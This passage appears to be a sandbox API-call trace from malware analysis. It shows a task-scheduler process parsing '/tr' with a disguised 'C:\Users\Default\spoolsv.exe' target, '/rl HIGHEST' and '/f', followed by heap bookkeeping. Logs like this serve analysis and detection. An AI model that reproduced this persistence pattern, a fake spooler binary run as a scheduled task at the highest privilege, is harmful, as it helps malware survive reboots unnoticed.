returned 6 [0160.675] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.675] lstrlenW (lpString="tr") returned 2 [0160.675] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.675] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.675] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.675] lstrlenW (lpString="|create|") returned 8 [0160.675] lstrlenW (lpString="|tr|") returned 4 [0160.675] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0160.675] SetLastError (dwErrCode=0x490) [0160.675] lstrlenW (lpString="delete") returned 6 [0160.675] lstrlenW (lpString="delete") returned 6 [0160.675] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.675] lstrlenW (lpString="tr") returned 2 [0160.675] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.676] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.676] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.676] lstrlenW (lpString="|delete|") returned 8 [0160.676] lstrlenW (lpString="|tr|") returned 4 [0160.676] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0160.676] SetLastError (dwErrCode=0x490) [0160.676] lstrlenW (lpString="query") returned 5 [0160.676] lstrlenW (lpString="query") returned 5 [0160.676] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.676] lstrlenW (lpString="tr") returned 2 [0160.676] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.676] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.676] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.676] lstrlenW (lpString="|query|") returned 7 [0160.676] lstrlenW (lpString="|tr|") returned 4 [0160.676] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0160.676] SetLastError (dwErrCode=0x490) [0160.676] lstrlenW (lpString="change") returned 6 [0160.676] lstrlenW (lpString="change") returned 6 [0160.676] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.676] lstrlenW (lpString="tr") returned 2 [0160.676] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.676] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.676] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.676] lstrlenW (lpString="|change|") returned 8 [0160.676] lstrlenW (lpString="|tr|") returned 4 [0160.677] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0160.677] SetLastError (dwErrCode=0x490) [0160.677] lstrlenW (lpString="run") returned 3 [0160.677] lstrlenW (lpString="run") returned 3 [0160.677] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.677] lstrlenW (lpString="tr") returned 2 [0160.677] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.677] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.677] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.677] lstrlenW (lpString="|run|") returned 5 [0160.677] lstrlenW (lpString="|tr|") returned 4 [0160.677] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0160.677] SetLastError (dwErrCode=0x490) [0160.677] lstrlenW (lpString="end") returned 3 [0160.677] lstrlenW (lpString="end") returned 3 [0160.677] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.677] lstrlenW (lpString="tr") returned 2 [0160.677] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.677] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.677] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.677] lstrlenW (lpString="|end|") returned 5 [0160.677] lstrlenW (lpString="|tr|") returned 4 [0160.677] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0160.677] SetLastError (dwErrCode=0x490) [0160.677] lstrlenW (lpString="showsid") returned 7 [0160.677] lstrlenW (lpString="showsid") returned 7 [0160.678] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.678] lstrlenW (lpString="tr") returned 2 [0160.678] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.678] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.678] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.678] lstrlenW (lpString="|showsid|") returned 9 [0160.678] lstrlenW (lpString="|tr|") returned 4 [0160.678] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0160.678] SetLastError (dwErrCode=0x490) [0160.678] SetLastError (dwErrCode=0x490) [0160.678] SetLastError (dwErrCode=0x0) [0160.678] lstrlenW (lpString="/tr") returned 3 [0160.678] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0160.678] SetLastError (dwErrCode=0x490) [0160.678] SetLastError (dwErrCode=0x0) [0160.678] lstrlenW (lpString="/tr") returned 3 [0160.678] GetProcessHeap () returned 0x400000 [0160.678] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x8) returned 0x41dcf0 [0160.678] GetProcessHeap () returned 0x400000 [0160.678] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41ccf0 [0160.678] SetLastError (dwErrCode=0x0) [0160.678] SetLastError (dwErrCode=0x0) [0160.678] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.678] lstrlenW (lpString="-/") returned 2 [0160.678] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0160.679] SetLastError (dwErrCode=0x490) [0160.679] SetLastError (dwErrCode=0x490) [0160.679] SetLastError (dwErrCode=0x0) [0160.679] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.679] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0160.679] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41d500 [0160.679] _memicmp (_Buf1=0x41d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d520 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41d540 [0160.679] _memicmp (_Buf1=0x41d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x40) returned 0x419310 [0160.679] SetLastError (dwErrCode=0x7a) [0160.679] SetLastError (dwErrCode=0x0) [0160.679] SetLastError (dwErrCode=0x0) [0160.679] lstrlenW (lpString="'C") returned 2 [0160.679] lstrlenW (lpString="-/") returned 2 [0160.679] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0160.679] SetLastError (dwErrCode=0x490) [0160.679] SetLastError (dwErrCode=0x490) [0160.679] SetLastError (dwErrCode=0x0) [0160.679] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x3e) returned 0x419360 [0160.679] GetProcessHeap () returned 0x400000 [0160.679] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd20 [0160.680] SetLastError (dwErrCode=0x0) [0160.680] SetLastError (dwErrCode=0x0) [0160.680] lstrlenW (lpString="/rl") returned 3 [0160.680] lstrlenW (lpString="-/") returned 2 [0160.680] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.680] lstrlenW (lpString="?") returned 1 [0160.680] lstrlenW (lpString="?") returned 1 [0160.680] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.680] lstrlenW (lpString="rl") returned 2 [0160.680] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.680] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.680] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.680] lstrlenW (lpString="|?|") returned 3 [0160.680] lstrlenW (lpString="|rl|") returned 4 [0160.680] SetLastError (dwErrCode=0x490) [0160.680] lstrlenW (lpString="create") returned 6 [0160.680] lstrlenW (lpString="create") returned 6 [0160.680] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.680] lstrlenW (lpString="rl") returned 2 [0160.680] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.680] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.680] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.680] lstrlenW (lpString="|create|") returned 8 [0160.680] lstrlenW (lpString="|rl|") returned 4 [0160.680] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0160.680] SetLastError (dwErrCode=0x490) [0160.680] lstrlenW (lpString="delete") returned 6 [0160.680] lstrlenW (lpString="delete") returned 6 [0160.681] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.681] lstrlenW (lpString="rl") returned 2 [0160.681] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.681] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.681] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.681] lstrlenW (lpString="|delete|") returned 8 [0160.681] lstrlenW (lpString="|rl|") returned 4 [0160.681] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0160.681] SetLastError (dwErrCode=0x490) [0160.681] lstrlenW (lpString="query") returned 5 [0160.681] lstrlenW (lpString="query") returned 5 [0160.681] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.681] lstrlenW (lpString="rl") returned 2 [0160.681] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.681] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.681] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.681] lstrlenW (lpString="|query|") returned 7 [0160.681] lstrlenW (lpString="|rl|") returned 4 [0160.681] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0160.681] SetLastError (dwErrCode=0x490) [0160.681] lstrlenW (lpString="change") returned 6 [0160.681] lstrlenW (lpString="change") returned 6 [0160.681] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.681] lstrlenW (lpString="rl") returned 2 [0160.681] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.682] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.682] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.682] lstrlenW (lpString="|change|") returned 8 [0160.682] lstrlenW (lpString="|rl|") returned 4 [0160.682] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0160.682] SetLastError (dwErrCode=0x490) [0160.682] lstrlenW (lpString="run") returned 3 [0160.682] lstrlenW (lpString="run") returned 3 [0160.682] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.682] lstrlenW (lpString="rl") returned 2 [0160.682] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.682] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.682] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.682] lstrlenW (lpString="|run|") returned 5 [0160.682] lstrlenW (lpString="|rl|") returned 4 [0160.682] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0160.682] SetLastError (dwErrCode=0x490) [0160.682] lstrlenW (lpString="end") returned 3 [0160.682] lstrlenW (lpString="end") returned 3 [0160.682] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.682] lstrlenW (lpString="rl") returned 2 [0160.682] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.682] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.682] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.682] lstrlenW (lpString="|end|") returned 5 [0160.682] lstrlenW (lpString="|rl|") returned 4 [0160.682] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0160.683] SetLastError (dwErrCode=0x490) [0160.683] lstrlenW (lpString="showsid") returned 7 [0160.683] lstrlenW (lpString="showsid") returned 7 [0160.683] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.683] lstrlenW (lpString="rl") returned 2 [0160.683] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.683] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.683] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|rl|") returned 4 [0160.683] lstrlenW (lpString="|showsid|") returned 9 [0160.683] lstrlenW (lpString="|rl|") returned 4 [0160.683] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0160.683] SetLastError (dwErrCode=0x490) [0160.683] SetLastError (dwErrCode=0x490) [0160.683] SetLastError (dwErrCode=0x0) [0160.683] lstrlenW (lpString="/rl") returned 3 [0160.683] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0160.683] SetLastError (dwErrCode=0x490) [0160.683] SetLastError (dwErrCode=0x0) [0160.683] lstrlenW (lpString="/rl") returned 3 [0160.683] GetProcessHeap () returned 0x400000 [0160.683] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x8) returned 0x41dd10 [0160.683] GetProcessHeap () returned 0x400000 [0160.683] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd50 [0160.683] SetLastError (dwErrCode=0x0) [0160.683] SetLastError (dwErrCode=0x0) [0160.683] lstrlenW (lpString="HIGHEST") returned 7 [0160.683] lstrlenW (lpString="-/") returned 2 [0160.683] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0160.683] SetLastError (dwErrCode=0x490) [0160.684] SetLastError (dwErrCode=0x490) [0160.684] SetLastError (dwErrCode=0x0) [0160.684] lstrlenW (lpString="HIGHEST") returned 7 [0160.684] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0160.684] SetLastError (dwErrCode=0x490) [0160.684] SetLastError (dwErrCode=0x0) [0160.684] lstrlenW (lpString="HIGHEST") returned 7 [0160.684] GetProcessHeap () returned 0x400000 [0160.684] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x10) returned 0x41d560 [0160.684] GetProcessHeap () returned 0x400000 [0160.684] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd80 [0160.684] SetLastError (dwErrCode=0x0) [0160.684] SetLastError (dwErrCode=0x0) [0160.684] lstrlenW (lpString="/f") returned 2 [0160.684] lstrlenW (lpString="-/") returned 2 [0160.684] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.684] lstrlenW (lpString="?") returned 1 [0160.684] lstrlenW (lpString="?") returned 1 [0160.684] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.684] lstrlenW (lpString="f") returned 1 [0160.684] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.684] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.684] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.684] lstrlenW (lpString="|?|") returned 3 [0160.684] lstrlenW (lpString="|f|") returned 3 [0160.684] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0160.684] SetLastError (dwErrCode=0x490) [0160.684] lstrlenW (lpString="create") returned 6 [0160.685] lstrlenW (lpString="create") returned 6 [0160.685] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.685] lstrlenW (lpString="f") returned 1 [0160.685] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.685] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.685] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.685] lstrlenW (lpString="|create|") returned 8 [0160.685] lstrlenW (lpString="|f|") returned 3 [0160.685] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0160.685] SetLastError (dwErrCode=0x490) [0160.685] lstrlenW (lpString="delete") returned 6 [0160.685] lstrlenW (lpString="delete") returned 6 [0160.685] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.685] lstrlenW (lpString="f") returned 1 [0160.685] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.685] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.685] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.685] lstrlenW (lpString="|delete|") returned 8 [0160.685] lstrlenW (lpString="|f|") returned 3 [0160.685] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0160.685] SetLastError (dwErrCode=0x490) [0160.685] lstrlenW (lpString="query") returned 5 [0160.685] lstrlenW (lpString="query") returned 5 [0160.685] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.685] lstrlenW (lpString="f") returned 1 [0160.685] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.686] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.686] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.686] lstrlenW (lpString="|query|") returned 7 [0160.686] lstrlenW (lpString="|f|") returned 3 [0160.686] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0160.686] SetLastError (dwErrCode=0x490) [0160.686] lstrlenW (lpString="change") returned 6 [0160.686] lstrlenW (lpString="change") returned 6 [0160.686] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.686] lstrlenW (lpString="f") returned 1 [0160.686] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.686] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.686] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.686] lstrlenW (lpString="|change|") returned 8 [0160.686] lstrlenW (lpString="|f|") returned 3 [0160.686] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0160.686] SetLastError (dwErrCode=0x490) [0160.686] lstrlenW (lpString="run") returned 3 [0160.686] lstrlenW (lpString="run") returned 3 [0160.686] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.686] lstrlenW (lpString="f") returned 1 [0160.686] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.686] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.686] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.686] lstrlenW (lpString="|run|") returned 5 [0160.686] lstrlenW (lpString="|f|") returned 3 [0160.687] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0160.687] SetLastError (dwErrCode=0x490) [0160.687] lstrlenW (lpString="end") returned 3 [0160.687] lstrlenW (lpString="end") returned 3 [0160.687] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.687] lstrlenW (lpString="f") returned 1 [0160.687] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.687] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.687] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.687] lstrlenW (lpString="|end|") returned 5 [0160.687] lstrlenW (lpString="|f|") returned 3 [0160.687] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0160.687] SetLastError (dwErrCode=0x490) [0160.687] lstrlenW (lpString="showsid") returned 7 [0160.687] lstrlenW (lpString="showsid") returned 7 [0160.687] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.687] lstrlenW (lpString="f") returned 1 [0160.687] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.687] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.687] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|f|") returned 3 [0160.687] lstrlenW (lpString="|showsid|") returned 9 [0160.687] lstrlenW (lpString="|f|") returned 3 [0160.687] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0160.687] SetLastError (dwErrCode=0x490) [0160.687] SetLastError (dwErrCode=0x490) [0160.687] SetLastError (dwErrCode=0x0) [0160.687] lstrlenW (lpString="/f") returned 2 [0160.688] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0160.688] SetLastError (dwErrCode=0x490) [0160.688] SetLastError (dwErrCode=0x0) [0160.688] lstrlenW (lpString="/f") returned 2 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x6) returned 0x41dd30 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cdb0 [0160.688] SetLastError (dwErrCode=0x0) [0160.688] GetProcessHeap () returned 0x400000 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1c0) returned 1 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c1c0) returned 0x8 [0160.688] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1c0 | out: hHeap=0x400000) returned 1 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cbd0) returned 1 [0160.688] GetProcessHeap () returned 0x400000 [0160.688] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cbd0) returned 0x20 [0160.689] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cbd0 | out: hHeap=0x400000) returned 1 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4c0) returned 1 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d4c0) returned 0x12 [0160.689] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4c0 | out: hHeap=0x400000) returned 1 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc00) returned 1 [0160.689] GetProcessHeap () returned 0x400000 [0160.689] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc00) returned 0x20 [0160.690] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc00 | out: hHeap=0x400000) returned 1 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dc90) returned 1 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dc90) returned 0x8 [0160.690] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dc90 | out: hHeap=0x400000) returned 1 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc30) returned 1 [0160.690] GetProcessHeap () returned 0x400000 [0160.690] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc30) returned 0x20 [0160.691] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc30 | out: hHeap=0x400000) returned 1 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4e0) returned 1 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d4e0) returned 0xe 